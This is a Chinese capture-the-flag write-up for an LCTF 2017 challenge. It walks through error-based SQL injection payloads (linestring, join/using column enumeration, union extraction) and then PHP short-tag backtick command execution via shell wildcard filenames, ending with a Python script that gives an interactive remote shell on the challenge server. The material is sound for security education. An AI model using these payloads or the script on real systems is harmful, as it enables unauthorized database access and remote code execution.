Chybeta

LCTF-2017-他们有什么秘密呢-writeup

补充关于第一阶段sql注入知识/背景,第二节阶段命令执行详细过程及其知识点

LCTF-2017-他们有什么秘密呢-writeup

Task

1
2
一个简单到不能再简单的......
http://182.254.246.93/

Solution

SQL注入

这是第一关。查看源代码后,有如下tips:

1
<!-- Tip:将表的某一个字段名,和表中某一个表值进行字符串连接,就可以得到下一个入口喽~ -->

所以目标很明确。

经过测试,过滤了information等关键字。而union,select等则没有过滤。

参考mysql注入可报错时爆表名、字段名、库名

获取表名

文章中利用的是Polygon()函数,这个也被过滤了。我换了linestring()来报错注入。

1
2
3
http://182.254.246.93/entrance.php
POST: pro_id=1 and linestring(pro_id)

得到如下信息:

1
2
3
数据库名:youcanneverfindme17
表名:product_2017ctf
部分字段名:pro_id

除了linestring和Polygon外,其他同样能用来报错获取得到当前表名和字段的还有:

  1. multiPolygon(id)
  2. multilinestring(id)
  3. GeometryCollection(id)
  4. MultiPoint(id)

查询字段名

其实这一步,可以跳过。因为利用union搭配别名子查询,可以达到在不知道字段名的时候进行注入。

为了完整性,这里试一下注出字段名。

利用orangetw大佬的提过的技巧

基本的原理是子查询中不允许出现相同的表名,本地环境测试如下:

之后可以利用using来逐步爆出字段名:

举一反三:

第一步:

1
2
POST: pro_id=-999 union (select * from (select * from product_2017ctf as a join product_2017ctf as b using(pro_id)) as c);
Duplicate column name 'pro_name'

第二步:

1
2
POST: pro_id=-999 union (select * from (select * from product_2017ctf as a join product_2017ctf as b using(pro_id,pro_name)) as c);
Duplicate column name 'owner'

第三步:

1
2
POST: pro_id=-999 union (select * from (select * from product_2017ctf as a join product_2017ctf as b using(pro_id,pro_name,owner)) as c);
Duplicate column name 'd067a0fa9dc61a6e'

得到如下信息:

1
2
3
库:youcanneverfindme17
表:product_2017ctf
字段: pro_id pro_name owner,d067a0fa9dc61a6e

查询数据

参考文章: http://blog.7ell.me/2017/05/30/2017-DDCTF-SQL%E6%B3%A8%E5%85%A5%E4%B9%8B%E8%BF%87%E6%BB%A4%E5%88%97%E5%90%8Dget%E6%95%B0%E6%8D%AE/

1
2
3
POST:pro_id=-2513 UNION ALL SELECT NULL,CONCAT((select e.4 from (select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d union select * from product_2017ctf)e limit 1 offset 3 )),NULL,NULL--
product name:7195ca99696b5a896.php

最终获得完整的结构与数据如下:

1
2
3
4
product_id: 1,2,3
product_name: car,iphone11,nextentrance
owner:Tom John Boss
d067a0fa9dc61a6e:wobuzaizheli nextnext 7195ca99696b5a896.php

其他

在做的过程,有想利用innodb引擎来注入,不过好像没啥用2333

1
2
3
4
5
POST:
pro_id=-2513 UNION ALL SELECT NULL,CONCAT((select table_name from innodb_table_stats)),NULL,NULL--
'youcanneverfindme17.innodb_table_stats' doesn't exist
数据库:youcanneverfindme17

根据tips,得到下一个入口地址:d067a0fa9dc61a6e7195ca99696b5a896.php

PHP的命令执行

http://182.254.246.93/d067a0fa9dc61a6e7195ca99696b5a896.php

到了这里就跟 32c3 2015 ctf-TinyHosting的题目很像了。

就几个知识点展开说一说。

一个是php的短标签。当php.ini的short_open_tag=on时,PHP支持短标签,默认情况下为off。当开启后能执行<? ?>标签内的php语句:

1
2
3
4
5
chybeta@ubuntu:/var/www/html$ cat test.php
<? echo "chybeta\n";?>
chybeta@ubuntu:/var/www/html$ curl 127.0.0.1/test.php
chybeta
chybeta@ubuntu:/var/www/html$

另一个知识点是php的反引号命令执行,php会反引号内的内容作为shell命令执行,效果与 shell_exec()同。

1
2
3
4
5
chybeta@ubuntu:/var/www/html$ cat test.php
<? $temp = `date`; echo $temp;?>
chybeta@ubuntu:/var/www/html$ curl 127.0.0.1/test.php
Wed Nov 22 22:01:34 CST 2017
chybeta@ubuntu:/var/www/html$

第三个知识点是关于php的echo,echo有个快捷写法,可以在打开标记前直接用一个等号。见下:

1
2
3
4
5
6
7
8
chybeta@ubuntu:/var/www/html$ curl 127.0.0.1/test.php
chybeta
chybeta@ubuntu:/var/www/html$ vim test.php
chybeta@ubuntu:/var/www/html$ cat test.php
<?="chybeta\n";
chybeta@ubuntu:/var/www/html$ curl 127.0.0.1/test.php
chybeta
chybeta@ubuntu:/var/www/html$

我们的需求:执行命令,得到回显。结合上面三个知识点,在7个字节的限制下,比如构造如下():

1
<?=`w`;

(题外话:命令w用于显示已经登陆系统的用户列表)

运行结果:

不过怎么执行任意命令呢?这里用到第四个知识点,shell中的通配符*会将符合模式的文件列出来,之后执行,详情可见这里Shell 通配符。所以当文件夹下有如下文件:

1
bash z.sh

而我在shell中直接键入一个*即:

1
chybeta@ubuntu: *

shell会匹配并进行替换,完成替换后实际执行的命令为:

1
chybeta@ubuntu: bash c.sh

由于这属于shell后台自动完成就不展示了。

接着要考虑一点,我们需要用*来利用文件名执行任意命令,因此在文件名的构造顺序上需要注意。比如我们最终要在文件下生成这三个文件:

1
bash c.sh z.php

才能成功的执行c.sh。

附上利用脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import requests
import re
url = "http://182.254.246.93/d067a0fa9dc61a6e7195ca99696b5a896.php"
user_agent = "xxx"
while 1:
command = raw_input("input command: ")
t = requests.post(url, headers = {'User-agent': user_agent }, data = {"filename":"z.php", "content":"<?=`*`;"}).text
[path] = re.findall('files.*/zzz.php', t)
requests.post(url, headers = {'User-agent': user_agent }, data = {"filename":"bash", "content":'anything'})
requests.post(url, headers = {'User-agent': user_agent }, data = {"filename":"c.sh", "content": command})
url1 = "http://182.254.246.93/"
r = requests.get(url1+path)
print r.text

flag:

1
$flag = "LCTF{n1ver_stop_nev2r_giveup}";

小结

  • 基于报错的sql注入:
    • 获取库名,表名,列名,数据
    • join using
  • php技巧:
    • 短标签
    • 反引号
    • echo缩写
  • shell通配符
微信扫码加入知识星球【漏洞百出】
chybeta WeChat Pay

点击图片放大,扫码知识星球【漏洞百出】

本文标题:LCTF-2017-他们有什么秘密呢-writeup

文章作者:chybeta

发布时间:2017年11月19日 - 20:11

最后更新:2017年11月22日 - 22:11

原始链接:http://chybeta.github.io/2017/11/19/LCTF-2017-他们有什么秘密呢-writeup/

许可协议: 署名-非商业性使用-禁止演绎 4.0 国际 转载请保留原文链接及作者。